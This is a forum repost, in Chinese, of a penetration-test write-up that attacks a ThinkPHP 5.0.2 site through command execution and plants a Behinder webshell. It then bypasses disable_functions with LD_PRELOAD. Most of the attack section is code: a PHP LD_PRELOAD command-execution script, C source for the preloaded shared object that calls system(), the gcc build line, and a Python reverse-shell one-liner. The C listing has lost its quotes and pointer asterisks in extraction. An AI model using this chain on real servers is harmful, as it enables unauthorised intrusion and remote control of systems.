安全矩阵

 找回密码
 立即注册
搜索
查看: 4703|回复: 0

一次ThinkPHP引发的bypass_disable_functions

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-11-5 09:25:26 | 显示全部楼层 |阅读模式
原文链接:一次ThinkPHP引发的bypass_disable_functions               


一次授权测试中,发现网站是ThinkPHP 5.0.2搭建的




漏洞存在ThinkPHP 5.0.2 命令执行



尝试写入冰蝎3.0的马



写入报错发现是&的问题。将&url编码。再次尝试



链接失败。
经过本地尝试,发现是+的问题,再写入后,将+变为了空格。将其url编码,再次写入链接发现失败,继续肝。



除了写入,还可以使用PHP中的copy函数,在vps上开启服务,将vps的马子,直接下载至目标服务器上



链接成功,接下来肯定是whoami一下。



查看disable_functions,发现是可爱的宝塔禁用了
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
还有啥是宝塔不能禁的。。。还能怎么办,接着肝,在网上学习了大佬的帖子
https://www.meetsec.cn/index.php/archives/44/
尝试利用LD_PRELOAD绕过disable_functions
直接上代码

bypass_disablefunc.php

  1. <?php
  2. echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";


  3.     $cmd = $_GET["cmd"];
  4.     $out_path = $_GET["outpath"];
  5.     $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
  6. echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";


  7.     putenv("EVIL_CMDLINE=" . $evil_cmdline);


  8.     $so_path = $_GET["sopath"];
  9.     putenv("LD_PRELOAD=" . $so_path);


  10.     mail("", "", "", "");


  11. echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";


  12.     unlink($out_path);
  13. ?>
复制代码
bypass_disablefunc.c
  1. #define _GNU_SOURCE


  2. #include stdlib.h
  3. #include stdio.h
  4. #include string.h




  5. extern char environ;


  6. __attribute__ ((__constructor__)) void preload (void)
  7. {
  8. get command line options and arg
  9. const char cmdline = getenv(EVIL_CMDLINE);


  10.      unset environment variable LD_PRELOAD.
  11.      unsetenv(LD_PRELOAD) no effect on some
  12. distribution (e.g., centos), I need crafty trick.
  13. int i;
  14. for (i = 0; environ[i]; ++i) {
  15. if (strstr(environ[i], LD_PRELOAD)) {
  16.                     environ[i][0] = '0';
  17.             }
  18.     }


  19. executive command
  20. system(cmdline);
  21. }
复制代码

用命令 gcc -shared -fPIC

bypass_disablefunc.c -o bypass_disable
func_x64.so 将 bypass_disablefunc.c 编译为共享对象
bypass_disablefunc_x64.so:
要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。通过冰蝎上传,然后测试效果:



命令执行成功。Nc反弹shell



提示没有-e的参数,直接使用python反弹
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'



反弹成功

总结:这次的测试,写入冰蝎的过程要注意编码问题。然后就是利用LD_PRELOAD绕过disable_functions。









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 11:35 , Processed in 0.012481 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表